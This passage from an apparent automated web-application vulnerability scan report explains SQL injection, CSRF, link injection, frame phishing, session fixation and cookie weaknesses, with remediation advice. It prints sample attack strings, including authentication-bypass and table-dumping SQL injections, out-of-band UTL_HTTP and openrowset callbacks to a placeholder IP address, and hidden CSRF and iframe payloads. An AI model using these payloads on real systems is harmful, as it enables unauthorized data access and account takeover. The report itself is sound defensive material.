own unique SQL 'dialect'). Specifically sending ' having 1=1 is also known to produce error messages that reveal information about column names. In some cases, the user input is not incorporated in a string context (encompassed in apostrophes), but rather in numeric context, that is, embedded as-is. Thus the input string 1 having 1=1 can be used in such cases. 2. In some cases, it is possible to replace the original query with any other query. The way to do it is to prematurely terminate the original query (e.g. by closing the string context using apostrophe, force termination by a query separator character such as semicolon and then write a new query). If the application is flexible enough to receive (and display) data from the modified query (although it is not exactly the expected data), then this technique may be used to download various database tables and records.Even if the application does not process the unexpected data returned from the database in such way that this data is displayed, it may still be possible to run malicious queries on the database (e.g. to change tables, delete tables, and run shell commands). Finally, in some cases the desired data can be acquired by crafting the malicious queries in such way that the desired data is returned in the format expected by the application. The following input strings can be used to yield sensitive information from system tables in the database (depending on the way the application handles returned query results, of course):'; select @@version,1,1,1--(MS-SQL database - returns the database version)'; select * from master..sysmessages(MS-SQL database - returns system information)'; select * from dbo.sysdatabases(MS-SQL database - returns database names managed by the database server)'; select * from sys.dba_users(Oracle database - returns database usernames)We see therefore that if user input is not santized (that is, string data is ensured not to have ' or " - these characters must be encoded/escaped, and numeric/boolean or other typed data is ensured to be of proper format), an attacker can make use of this fact and manipulate the database. In the Oracle test variant, the SQL injection is validated by forcing the Oracle database to establish an HTTP connection back from the Oracle server, to the testing machine, using the UTL_HTTP package. The injection payload sent: ' || UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation')|| 'Assuming that the original SQL query was: SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass', the actual SQL query during the SQL injection test will be:SELECT COUNT(*) FROM accounts WHERE username='' || UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation') || '' AND password='$pass'When running this SQL query, the Oracle server will execute the UTL_HTTP.REQUEST entry point, which will contact the testing machine and request the file '/SQL_Injection_Validation' over HTTP.Note: For this test to be validated properly, a direct TCP connection must be possible between the Oracle server and the testing machine.A similar approach is used in an MS SQL port listener test variant.The injection payload sent: '; select * from openrowset ('sqloledb','Network=DBMSSOCN;Address=IP_Address,9999;uid=myUsr;pwd=myPass','select foofrom bar')--Assuming that the original SQL query was: SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass', the actual SQL query during the SQL injection test will be:SELECT COUNT(*) FROM accounts WHERE username=''; select * from openrowset ('sqloledb','Network=DBMSSOCN;Address=[IP_Address],9999;uid=myUsr;pwd=myPass','select foo from bar')--' AND password='$pass'When running this SQL query, MS SQL server will establish a connection to [IP_Address] on port 9999, as a result of the openrowset() execution.Note: For this test to be validated properly, a direct TCP connection must be possible between the MS SQL server and the testing machine.

1.3.4 General Fix RecommendationsThere are several issues whose remediation lies in sanitizing user input. By verifying that user input does not contain hazardous characters, it is possible to prevent malicious users from causing your application to execute unintended operations, such as launch arbitrary SQL queries, embed Javascript code to be executed on the client side, run various operating system commands etc.

- 18 -


It is advised to filter out all the following characters:[1] | (pipe sign)[2] & (ampersand sign)[3] ; (semicolon sign)[4] $ (dollar sign)[5] % (percent sign)[6] @ (at sign)[7] ' (single apostrophe)[8] " (quotation mark)[9] \' (backslash-escaped apostrophe)[10] \" (backslash-escaped quotation mark)[11] <> (triangular parenthesis)[12] () (parenthesis)[13] + (plus sign)[14] CR (Carriage return, ASCII 0x0d)[15] LF (Line feed, ASCII 0x0a)[16] , (comma sign)[17] \ (backslash)


"Web Application Disassembly with ODBC Error Messages" (By David Litchfield)SQL Injection Training Module

- 19 -

http://download.boulder.ibm.com/ibmdl/pub/software/dw/richmedia/rational/08/appscan_demos/sqlinjection/viewer.swf#recorded_advisory

http://www.ngssoftware.com/papers/webappdis.doc


1.4 Database Error Pattern Found

1.4.1 Security RisksIt is possible to view, modify or delete database entries and tables.

1.4.2 Possible CausesSanitation of hazardous characters was not performed correctly on user input.

1.4.3 Technical DescriptionAppScan discovered Database Errors in the test response, which may have been triggered by an attack other than SQL Injection.It is possible, though not certain, that this error indicates a possible SQL Injection vulnerability in the application.If it does, please read the following SQL Injection advisory carefully:Web applications often use databases at the backend to interact with the enterprise data warehouse. The de-facto standard language for querying databases is SQL (each major database vendor has its own dialect). Web applications often take user input (taken out of the HTTP request) and incorporate it in an SQL query, which is then sent to the backend database. The query results are then processed by the application and sometimes displayed to the user.This mode of operation can be exploited by an attacker if the application is not careful enough with its treatment of user (attacker) input. If this is the case, an attacker can inject malicious data, which when incorporated into an SQL query, changes the original syntax of the query into something completely different. For example, if an application uses user's input (such as username and password) to query a database table of users' accounts in order to authenticate the user, and the attacker has the ability to inject malicious data into the username part of the query (or the password part, or both), the query can be changed into a different data yanking query, a query that modifies the database, or a query that runs shell commands on the database server.Typically, the attacker achieves this goal in steps. He/she will first learn the structure of the SQL query, and then use this knowledge to thwart the query (by injecting data that changes the query syntax) into performing differently than intended. Suppose the query in question is: SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass' Where $user and $pass are user input (collected from the HTTP request which invoked the script that constructs the query - either from a GET request query parameters, or from a POST request body parameters). A regular usage of this query would be with values $user=john, $password=secret123.The query formed would be:SELECT COUNT(*) FROM accounts WHERE username='john' AND password='secret123' The expected query result is 0 if no such user+password pair exists in the database, and >0 if such pair exists (i.e. there is a user named 'john' in the database, whose password is 'secret123'). This would serve as a basic authentication mechanism for the application. But an attacker can alter this query in the following ways:

1. By providing an input consisting of a single apostrophe character ('), the attacker can cause the database to emit an error message, which usually contains valuable information regarding the SQL query. The attack would simply involve sending a request with the user value ' and a password with any value (e.g. foobar). The result would be the following (malformed) SQL query:SELECT COUNT(*) FROM accounts WHERE username=''' AND password='foobar' This may yield the following error message (depending on the specific database in use at the backend):Syntax error (missing operator) in query expression 'username = ''' AND password = 'foobar''. The attacker is informed that the query is built around the expression username='$user' AND password='$pass'. This crucial information is needed to exploit the SQL query at hand. When the attacker understands the format of the query, his next step would simply be to use: user = ' or 1=1 or ''='password = foobarThe resulting query is:SELECT COUNT(*) FROM accounts WHERE username='' or 1=1 or ''='' AND password='foobar' This means that the query (in the SQL database) will return TRUE for every record of the table "accounts",

- 20 -


since the expression 1=1 is always true. Therefore, the query will return the number of records in "accounts", and thus the user (attacker) will be considered valid. There are several variants of this probing method, such as sending '; or \' (it should be remembered that almost all vendors have their own unique SQL 'dialect'). Specifically sending ' having 1=1 is also known to produce error messages that reveal information about column names. In some cases, the user input is not incorporated in a string context (encompassed in apostrophes), but rather in numeric context, that is, embedded as-is. Thus the input string 1 having 1=1 can be used in such cases.

2. In some cases, it is possible to replace the original query with any other query. The way to do it is to prematurely terminate the original query (e.g. by closing the string context using apostrophe, force termination by a query separator character such as semicolon and then write a new query). If the application is flexible enough to receive (and display) data from the modified query (although it is not exactly the expected data), then this technique may be used to download various database tables and records.Even if the application does not process the unexpected data returned from the database in such way that this data is displayed, it may still be possible to run malicious queries on the database (e.g. to change tables, delete tables, and run shell commands). Finally, in some cases the desired data can be acquired by crafting the malicious queries in such way that the desired data is returned in the format expected by the application. The following input strings can be used to yield sensitive information from system tables in the database (depending on the way the application handles returned query results, of course):'; select @@version,1,1,1--(MS-SQL database - returns the database version)'; select * from master..sysmessages(MS-SQL database - returns system information)'; select * from dbo.sysdatabases(MS-SQL database - returns database names managed by the database server)'; select * from sys.dba_users(Oracle database - returns database usernames)We see therefore that if user input is not santized (that is, string data is ensured not to have ' or " - these characters must be encoded/escaped, and numeric/boolean or other typed data is ensured to be of proper format), an attacker can make use of this fact and manipulate the database. In the Oracle test variant, the SQL injection is validated by forcing the Oracle database to establish an HTTP connection back from the Oracle server, to the testing machine, using the UTL_HTTP package. The injection payload sent: ' || UTL_HTTP.REQUEST('http://IP_Address:80/SQL_Injection_Validation') || 'Assuming that the original SQL query was: SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass', the actual SQL query during the SQL injection test will be: SELECT COUNT(*) FROM accounts WHERE username='' || UTL_HTTP.REQUEST ('http://IP_Address:80/SQL_Injection_Validation') || '' AND password='$pass'When running this SQL query, the Oracle server will execute the UTL_HTTP.REQUEST entry point, which will contact the testing machine and request the file '/SQL_Injection_Validation' over HTTP.Note: For this test to be validated properly, a direct TCP connection must be possible between the Oracle server and the testing machine. A similar approach is used in an MS SQL port listener test variant.The injection payload sent: '; select * from openrowset ('sqloledb','Network=DBMSSOCN;Address=IP_Address,9999;uid=myUsr;pwd=myPass','select foo from bar')--Assuming that the original SQL query was: SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass', the actual SQL query during the SQL injection test will be: SELECT COUNT(*) FROM accounts WHERE username=''; select * from openrowset ('sqloledb','Network=DBMSSOCN;Address=[IP_Address],9999;uid=myUsr;pwd=myPass','select foo from bar')--' AND password='$pass' When running this SQL query, MS SQL server will establish a connection to [IP_Address] on port 9999, as a result of the openrowset() execution.Note: For this test to be validated properly, a direct TCP connection must be possible between the MS SQL server and the testing machine.

1.4.4 General Fix RecommendationsIf the error indicates a SQL Injection vulnerability, please follow the following guidelines:

- 21 -





- 22 -




1.5 SQL Query in Parameter Value


It is possible to view, modify or delete database entries and tables.


Parameter values were 'hardcoded' in the HTML as a parameter of type 'hidden'.


Web applications often use databases at the backend to interact with the enterprise data warehouse. The de-facto standard language for querying databases is SQL (each major database vendor has its own 'dialect'). In order to provide database functionality to the client, HTML pages often contain complete SQL queries in form fields. For example, consider the following HTML source snippet:<FORM...>...<INPUT TYPE=HIDDEN NAME=SQL_QUERY VALUE="Select * from table1 where table1.id=1234">...</FORM>This practice can lead to issues in the web application, since it is unlikely that the application validates that the query is legitimate/unchanged. As a result, an attacker can modify the query and manipulate the database.

Sample Exploit:Consider the above HTML form example. It is possible to manually change the parameter value in order to delete the table "table1", as following (submit the following form):<FORM...>...<INPUT TYPE=HIDDEN NAME=SQL_QUERY VALUE="Drop table1">...</FORM>


[1] Do not expose SQL query logic to the client.[2] Do not construct SQL queries at the client side (For example, using JavaScript).[3] Always verify user input, make sure that it is in the expected format and expected content.


WASC Threat Classification: SQL InjectionSQL Injection Training ModuleCWE-89: Failure to Preserve SQL Query Structure ('SQL Injection')

- 23 -

http://cwe.mitre.org/data/definitions/89.html


http://projects.webappsec.org/SQL-Injection


1.6 Cross-Site Request Forgery




Insufficient authentication method was used by the application.


Cross-Site Request Forgery (CSRF) is an attack that allows a hacker to perform an action on the vulnerable site on behalf of the victim. The attack is possible when the vulnerable site does not properly validate the origin of the request.The severity of this vulnerability depends on the functionality of the affected application, for example, a CSRF attack on a search page is less severe than a CSRF attack on a money-transfer or profile update pages.The attack is performed by forcing the victim's browser to issue an HTTP request to the vulnerable site. If the user is currently logged-in to the victim site, the request will automatically use the user's credentials (like session cookies, user's IP address, and other browser authentication methods). Using this method, the attacker forges the victim's identity and submits actions on his or her behalf. In other words, the vulnerable site does not take the proper measures to validate that the user indeed wanted to perform the specific action.

Forcing the victim to send the unintended request can be done in numerous ways:- Sending the victim a malicious link to the vulnerable application via email.- Putting a hot-link (like an image or frame) to the vulnerable site on the hacker's web page.- Posting a link to the vulnerable site in a public forum.- Using Cross-Site Scripting or Link Injection vulnerabilities in the site (or another site) and automatically redirecting the browser to the vulnerable site.

If the attacker uses a Link Injection vulnerability on the vulnerable site itself he or she increases the likelihood of the user being authenticated to the site, and by that increases the likelihood of the attack to succeed.

For example, using any of the above described options, an attacker can lure the victim to view a page containing:

<img src="http://bank/transfer?destination=John&money=1000" style='visibility:hidden'>

This will cause the victim's browser to automatically request the URL together with the current credentials of the browser.If this banking site is vulnerable to CSRF, it will transfer 1000 dollars from the victim's account to John's bank account according to the application logic.The Cross-Site Request Forgery attack is also known as CSRF (pronounced C-Serf), XSRF, Cross-Site Reference Forgery, One-Click Attack and Session Riding.

You can verify that your application is vulnerable to CSRF by:[1] Checking that the vulnerable link/request does not include a parameter that is hard for an attacker to guess[2] Checking that the vulnerable link/request performs an operation that should only be performed willingly

- 24 -


An application that contains a sensitive action, which can be accessed directly by a request that the user submitted unknowingly, is considered vulnerable to CSRF.CSRF is also possible on login and logout pages. On logout pages CSRF can cause denial of service, since an attacker can forge consecutive logout requests from the victim. On login pages CSRF can allow an attacker to log the client into the attacker's account using a forged request containing the attacker's username and password. Login CSRF attacks can have serious consequences, depending on other site behavior. For example, if a site keeps a history of user actions (search history, for example) the attacker will be able to see the actions previously performed by the victim on the vulnerable site.


In order to avoid CSRF attacks, every request should contain a unique identifier, which is a parameter that an attacker cannot guess.One suggested option is to add the session id taken from the session cookie and adding it as a parameter. The server must check that this parameter matches the session cookie, and if not discard the request. The reason an attackercannot guess this parameter is the "same origin policy" that applies to cookies, so the attacker cannot forge a fake request that will seem real to the server.Any secret that is hard to guess and is not accessible to an attacker (i.e. not accessible from a different domain) can be used instead of the session id.This will prevent an attacker from crafting a seemingly valid request.


Cross-site request forgery wiki page"JavaScript Hijacking" by FortifyCross-Site Request Forgery Training Module

- 25 -

http://download.boulder.ibm.com/ibmdl/pub/software/dw/richmedia/rational/08/appscan_demos/csrf-cbt/viewer.swf#recorded_advisory

http://www.net-security.org/dl/articles/JavaScript_Hijacking.pdf

http://en.wikipedia.org/wiki/Cross-site_request_forgery


1.7 Link Injection (facilitates Cross-Site Request Forgery)


It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user.It is possible to upload, modify or delete web pages, scripts and files on the web server.




Link Injection is the act of modifying the content of a site by embedding in it a URL to an external site, or to a script in the vulnerable site. By embedding a URL in the vulnerable site, an attacker is then able to use it as a platform to launch attacks against other sites, as well as against the vulnerable site itself.Some of these possible attacks require the user to be logged in to the site during the attack. By launching these attacks from the vulnerable site itself the attacker increases the chances of success, because the user is more likely to be logged in.The Link Injection vulnerability is a result of insufficient user input sanitation, which is later returned to the user in the site response. The ability to inject hazardous characters into the response makes it possible for attackers to embed URLs, among other possible content modifications.Below is an example for a Link Injection (We will assume that site "www.vulnerable.com" has a parameter called "name", which is used to greet users).

The following request:HTTP://www.vulnerable.com/greet.asp?name=John SmithWill yield the following response:<HTML><BODY>Hello, John Smith.</BODY></HTML>However, a malicious user may send the following request:HTTP://www.vulnerable.com/greet.asp?name=<IMG SRC="http://www.ANY-SITE.com/ANYSCRIPT.asp">This will return the following response:<HTML><BODY>10/22/2009 9:38:02 AM 1254/1261Hello, <IMG SRC="http://www.ANY-SITE.com/ANY-SCRIPT.asp">.</BODY></HTML>As this example shows, it is possible to cause a user's browser to issue automatic requests to virtually any site the attacker desires. As a result, he may use this Link Injection vulnerability to launch several types of attacks:

Cross-Site Request Forgery:An attacker is able to cause the user's browser to send a request to a site where the user is currently logged in, and perform actions that the user did not intend to do. Such actions may

- 26 -


include unregistering from the site, or modifying the user's profile, email address or even password, which could result in a complete account takeover.

Cross-Site Scripting:Any Cross-Site scripting attack begins with the act of luring users into clicking a specially crafted URL that exploits vulnerability in the victim site. This is usually done by sending emails that contain the malicious link, or creating a web site that contains a link to the vulnerable site.

With the Link Injection vulnerability, it is possible to embed a malicious URL in site A, that when clicked will launch a Cross-Site Scripting attack against site B.

Phishing:It is possible for an attacker to inject a link to a malicious site that resembles the attacked site. Anincautious user may click it and not realize that he is leaving the original site and surfing to a malicioussite. The attacker may then lure the user to login again, thus acquiring his login credentials.


There are several issues whose remediation lies in sanitizing user input.By verifying that user input does not contain hazardous characters, it is possible to prevent malicious users from causing your application to execute unintended operations, such as launch arbitrary SQL queries, embed Javascript code to be executed on the client side, run various operating system commands etc.



OWASP ArticleThe Cross-Site Request Forgery FAQCross-Site Request Forgery Training ModuleCWE-74: Failure to Sanitize Data into a Different Plane ('Injection')

- 27 -


http://download.boulder.ibm.com/ibmdl/pub/software/dw/richmedia/rational/08/appscan_demos/csrf-cbt/viewer.swf#recorded_advisory

http://www.cgisecurity.com/csrf-faq.html

http://www.owasp.org/index.php/Cross-Site_Request_Forgery


1.8 Phishing through Frames


It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.




Phishing is a general term for attempts to scam users into surrendering private information that will be used for identity theft.It is possible for an attacker to inject a frame or an iframe tag with malicious content which resembles the attacked site. An incautious user may browse it and not realize that he is leaving the original site and surfing to a malicious site. The attacker may then lure the user to login again, thus acquiring his login credentials.The fact that the fake site is embedded in the original site helps the attacker by giving his phishing attempts a more reliable appearance.

Sample Exploit:If the parameter value is reflected in the response without proper sanitation, the following request:http://[SERVER]/script.aspx?parameter=<frame name="evil" src="www.evil.com">will cause the response to contain a frame to the evil site.


There are several issues whose remediation lies in sanitizing user input.By verifying that user input does not contain hazardous characters, it is possible to prevent malicious users from causing your application to execute unintended operations, such as launch arbitrary SQL queries, embed Javascript code to be executed on the client side, run various operating system commands etc.



FTC Consumer Alert - "How Not to Get Hooked by a 'Phishing' Scam"CWE-301: Reflection Attack in an Authentication Protocol

- 28 -


http://www.ftc.gov/bcp/edu/pubs/consumer/alerts/alt127.shtm


1.9 Permanent Cookie Contains Sensitive Session Information


It may be possible to steal session information (cookies) that was kept on disk as permanent cookies.


The web application stores sensitive session information in a permanent cookie (on disk).


During the application test, it was detected that sensitive session information such as user credentials or session tokens was stored in a permanent cookie on the client's computer.[1] Since other users may use the computer, this information may be compromised or used for identity theft or user impersonation.[2] If the computer will be compromised, the account information may be stolen and used later by a malicious user.

In addition, several privacy regulations require that users will be identified uniquely before accessing sensitive information. Since a permanent cookie may allow other users to logon to the web application without authenticating, this may not comply with several privacy regulations.


Make sure that sensitive session information such as user credentials or session tokens will always be stored in non-permanent cookies (RAM cookies) only. This is achieved by not setting the "Expires" field in the cookie.


Financial Privacy: The Gramm-Leach Bliley ActHealth Insurance Portability and Accountability Act (HIPAA)Sarbanes-Oxley ActCalifornia SB1386HTTP State Management Mechanism (RFC 2109)CWE-539: Information Leak Through Persistent Cookies

- 29 -


http://www.ietf.org/rfc/rfc2109.txt

http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html

http://www.sec.gov/spotlight/sarbanes-oxley.htm

http://www.hhs.gov/ocr/privacy/

http://www.ftc.gov/privacy/glbact/


1.10 Session Not Invalidated After Logout




Insecure web application programming or configuration.


According to WASC:"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization. Insufficient Session Expiration increases a web site's exposure to attacks that steal or impersonate other users."After a user signs out of the application, the identifiers that were used during the session are supposed to be invalidated. If the server fails to invalidate the session identifiers, it is possible for other users to use those identifiers to impersonate that user and perform actions on his behalf.

Sample Exploit:This test logs out of the application, and then tries to access a protected resource using the session identifiers.If the resource is retreived successfully, it means that the cookie was not expired by the server.


Invalidate session identifiers in the logout process: either modify the logout script to expire the valid session identifiers, or configure the web server to do so.


WASC Threat Classification: Insufficient Session Expiration"Dos and Don'ts of Client Authentication on the Web", Kevin Fu, Emil Sit, Kendra Smith, Nick Feamster - MIT Laboratory for Computer ScienceCWE-613: Insufficient Session Expiration

- 30 -


http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

http://cookies.lcs.mit.edu/pubs/webauth:tr.pdf

http://projects.webappsec.org/Insufficient-Session-Expiration


1.11 Cacheable SSL Page Found


It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations.


Sensitive information might have been cached by your browser.


Most web browsers are configured by default to cache the user's pages during use. This means that SSL pages are cached as well.It is not recommended to enable the web browser to save any SSL information, since this information might be compromised when a vulnerability exists.


Disable caching on all SSL pages or all pages that contain sensitive data.For example, you can add "Pragma: no-cache" to your login page headers.


N/A

- 31 -


1.12 HTML Comments Sensitive Information Disclosure


It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations


Debugging information was left by the programmer in web pages.


Many web application programmers use HTML comments to help debug the application when needed. While adding general comments is very useful, some programmers tend to leave important data, such as: filenames related to the web application, old links or links which were not meant to be browsed by users, old code fragments, etc. An attacker who finds these comments can map the application's structure and files, expose hidden parts of the site, and study the fragments of code to reverse engineer the application, which may help develop further attacks against the site.


[1] Do not leave any vital information such as filenames or file paths in HTML comments.[2] Remove traces of previous (or future) site links in the production site comments.[3] Avoid placing sensitive information in HTML comments.[4] Make sure that HTML comments do not include source code fragments.[5] Make sure that no vital information was left behind by programmers.


WASC Threat Classification: Information Leakage

- 32 -

http://projects.webappsec.org/Information-Leakage


1.13 Missing Secure Attribute in Encrypted Session (SSL) Cookie


It may be possible to steal user and session information (cookies) that was sent during an encrypted session.


The web application sends non-secure cookies over SSL.


During the application test, it was detected that the tested web application set a cookie without the "secure" attribute, during an encrypted session. Since this cookie does not contain the "secure" attribute, it might also be sent to the site during an unencrypted session. Any information such as cookies, session tokens or user credentials that are sent to the server as clear text, may be stolen and used later for identity theft or user impersonation.In addition, several privacy regulations state that sensitive information such as user credentials will always be sent encrypted to the web site.


Basically the only required attribute for the cookie is the "name" field. Common optional attributes are: "comment", "domain", "path", etc.The "secure" attribute must be set accordingly in order to prevent to cookie from being sent unencrypted.

RFC 2965 states:"The Secure attribute (with no value) directs the user agent to use only (unspecified) secure means to contact the origin server whenever it sends back this cookie, to protect the confidentially and authenticity of the information in the cookie."For further reference please see the HTTP State Management Mechanism RFC 2965 at: http://www.ietf.org/rfc/rfc2965.txtAnd for "Best current practice" for use of HTTP State Management please see link:http://tools.ietf.org/html/rfc2964


Financial Privacy: The Gramm-Leach Bliley ActHealth Insurance Portability and Accountability Act (HIPAA)Sarbanes-Oxley ActCalifornia SB1386

- 33 -




http://www.ftc.gov/privacy/glbact/

http://tools.ietf.org/html/rfc2964

http://www.ietf.org/rfc/rfc2965.txt


1.14 Query Parameter in SSL Request


It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted.


Query parameters were passed over SSL, and may contain sensitive information.


During the application test, it was detected that a request, which was sent over SSL, contained parameters that were transmitted in the Query part of an HTTP GET request.When sending GET requests, the browser's history can be used to reveal the URLs, which contain the query parameter names and values.Due to the sensitivity of encrypted requests, it is suggested to use HTTP POST when possible, in order to avoid the disclosure of URLs and parameter values to others.


Make sure that sensitive information such as:- Username- Password- Social Security number- Credit Card number- Driver's License number- Email address- Phone number- Zip codeis always sent in the body part of an HTTP POST request.


Financial Privacy: The Gramm-Leach Bliley ActHealth Insurance Portability and Accountability Act (HIPAA)Sarbanes-Oxley ActCalifornia SB1386

- 34 -




http://www.ftc.gov/privacy/privacyinitiatives/glbact.html


1.15 Cacheable Login Page Found




Sensitive information might have been cached by your browser.


Most web browsers are configured by default to cache the user's pages during use. This means that login pages are cached as well.It is not recommended to enable the web browser to save any login information, since this information might be compromised when a vulnerability exists.


Disable caching on all login pages or all pages that contain sensitive data.For example, you can add "Pragma: no-cache" to your login page headers.


N/A

- 35 -


1.16 Session Identifier Not Updated






According to WASC:"Session Fixation is an attack technique that forces a user's session ID to an explicit value. Depending on the functionality of the target web site, a number of techniques can be utilized to "fix" the session ID value. These techniques range from Cross-site Scripting exploits to peppering the web site with previously made HTTP requests. After a user's session ID has been fixed, the attacker waits for the user to login, and then uses the predefined session ID value to assume the user's online identity.In general, there are two types of session management systems for ID values. The first type is "permissive" systems, that allow web browsers to specify any ID. The second type is "strict" systems, that only accept server-side generated values. With permissive systems, arbitrary session IDs are maintained without contact with the web site. Strict systems require that the attacker maintain the "trap-session", with periodic web site contact, preventing inactivity timeouts.Without active protection against session fixation, the attack can be mounted against any web site using sessions to identify authenticated users. Web sites using session IDs are normally cookie based, but URLs and hidden form-fields are used as well. Unfortunately, cookie-based sessions are the easiest to attack. Most of the currently identified attack methods are aimed toward the fixation of cookies.In contrast to stealing a user's session ID after they have logged into a web site, session fixation provides a much wider window of opportunity. The active part of the attack takes place before the user logs in.

The session fixation attack is normally a three step process:1) Session Set-UpThe attacker sets up a "trap-session" for the target web site and obtains that session's ID, or the attacker may select an arbitrary session ID used in the attack. In some cases, the established trap session value must be maintained with repeated web site contact.2) Session FixationThe attacker introduces the trap session value into the user's browser and fixes the user's session ID.3) Session EntranceThe attacker waits until the user logs into the target web site, and then, when the fixed session ID value is used, the attacker may take over."

If a session management system accepts session IDs in the form of a URL parameter, the following request may force the session ID to the value of the URL parameter.Code Snippet:http://example/login.php?PHPSESSID=1234According to WASC:"Issuing a new session ID cookie value using a client-side script

- 36 -


A Cross-Site Scripting vulnerability on any web site in the domain can be used to modify the current cookie value.Code Snippet:http://example/<script>document.cookie="sessionid=1234;%20domain=.example.dom";</script>Another similar example (using META tag injection):http://example/<meta%20http-equiv=Set-Cookie%20content="sessionid=1234;%20domain=.example.dom">Issuing a cookie using an HTTP response header

The attacker forces the target web site, or any other site in the domain, to issue a session ID cookie.This can be achieved in many ways:- Breaking into a web server in the domain (e.g., a poorly maintained WAP server)- Poisoning a user's DNS server, effectively adding the attacker's web server to the domain- Setting up a malicious web server in the domain (e.g., on a workstation in Windows 2000 domain, all workstations are also in the DNS domain)- Exploiting an HTTP response splitting attack"----------------------------------------------Comparison of the session identifiers before and after the login process revealed they were not updated, which means that user impersonation may be possible. Preliminary knowledge of the session identifier value may enable a remote attacker to pose as a logged-in legitimate user.The session identifier value can be obtained by utilizing a Cross-Site Scripting vulnerability, causing the victim's browser to use a predefined session identifier when contacting the vulnerable site, or by launching a Session Fixation attack that will cause the site to present a predefined session identifier to the victim's browser.


Always generate a new session to which the user will log in if successfully authenticated.Prevent user ability to manipulate session ID.Do not accept session IDs provided by the user's browser at login


"Session Fixation Vulnerability in Web-based Applications", By Mitja Kolsek - Acros Security PHP Manual, Session Handling Functions, Sessions and security

- 37 -

http://il2.php.net/manual/en/features.sessions.php#session.security

http://www.acrossecurity.com/papers/session_fixation.pdf


1.17 Inadequate Account Lockout


It might be possible to escalate user privileges and gain administrative permissions over the web application.




A brute force attack is an attempt by a malicious user to gain access to the application by sending a large number of possible passwords and/or usernames.Since this technique involves a large amount of login attempts, an application that does not limit the number of false login requests allowed is vulnerable to these attacks.It is therefore highly recommended to restrict the number of false login attempts allowed on an account before it is locked.Sample Exploit:The following request illustrates a password-guessing request:http://site/login.asp?username=EXISTING_USERNAME&password=GUESSED_PASSWORDIf the site does not lock the tested account after several false attempts, the attacker may eventually discover the account password and use it to impersonate the account's legitimate user.


Decide upon the number of login attempts to be allowed (usually from 3 to 5), and make sure that the account will be locked once the permitted number of attempts is exceeded.To avoid unnecessary support calls from genuine users who were locked out of their account and require enabling, it is possible to suspend account activity only temporarily, and enable it after a specific period of time. Locking the account for a period of ten minutes or so is usually sufficient to block brute force attacks.


"Blocking Brute-Force Attacks" by Mark Burnett

- 38 -

http://www.codeguru.com/csharp/csharp/cs_webservices/security/article.php/c7907/


1.18 Authentication Bypass Using SQL Injection


It may be possible to bypass the web application's authentication mechanism.




Web applications often use databases at the backend to interact with the enterprise data warehouse. The de-facto standard language for querying databases is SQL (each major database vendor has its own dialect). Web applications often take user input (taken out of the HTTP request) and incorporate it in an SQL query, which is then sent to the backend database. The query results are then processed by the application and sometimes displayed to the user.This mode of operation can be exploited by an attacker if the application is not careful enough with its treatment of user (attacker) input. If this is the case, an attacker can inject malicious data, which when incorporated into an SQL query, changes the original syntax of the query into something completely different. For example, if an application uses user's input (such as username and password) to query a database table of users' accounts in order to authenticate the user, and the attacker has the ability to inject malicious data into the username part of the query (or the password part, or both), the query can be changed into a different data yanking query, a query that modifies the database, or a query that runs shell commands on the database server.

Suppose the query in question is:SELECT COUNT(*) FROM accounts WHERE username='$user' AND password='$pass' Where $user and $pass are user input (collected from the HTTP request which invoked the script that constructs the query - either from a GET request query parameters, or from a POST request body parameters). A regular usage of this query would be with values $user=john, $password=secret123. The query formed would be:SELECT COUNT(*) FROM accounts WHERE username='john' AND password='secret123' The expected query result is 0 if no such user+password pair exists in the database, and >0 if such pair exists (i.e. there is a user named 'john' in the database, whose password is 'secret123'). This would serve as a basic authentication mechanism for the application. But an attacker can bypass this mechanism by submitting the following values: $user=john, $password=' OR '1'='1. The resulting query is:SELECT COUNT(*) FROM accounts WHERE username='john' AND password='' OR '1'='1'This means that the query (in the SQL database) will return TRUE for the user 'john', since the expression 1=1 is always true. Therefore, the query will return a positive number, and thus the user (attacker) will be considered valid without having to know the password.


There are several issues whose remediation lies in sanitizing user input.By verifying that user input does not contain hazardous characters, it is possible to prevent malicious users from causing your application to execute unintended operations, such as launch arbitrary SQL queries, embed Javascript code to be executed on the client side, run various operating system commands etc.It is advised to filter out all the following characters:[1] | (pipe sign)[2] & (ampersand sign)[3] ; (semicolon sign)[4] $ (dollar sign)[5] % (percent sign)

- 39 -


[6] @ (at sign)[7] ' (single apostrophe)[8] " (quotation mark)[9] \' (backslash-escaped apostrophe)[10] \" (backslash-escaped quotation mark)[11] <> (triangular parenthesis)[12] () (parenthesis)[13] + (plus sign)[14] CR (Carriage return, ASCII 0x0d)[15] LF (Line feed, ASCII 0x0a)[16] , (comma sign)[17] \ (backslash)



- 40 -



security vulnerabilities in a web application

Documents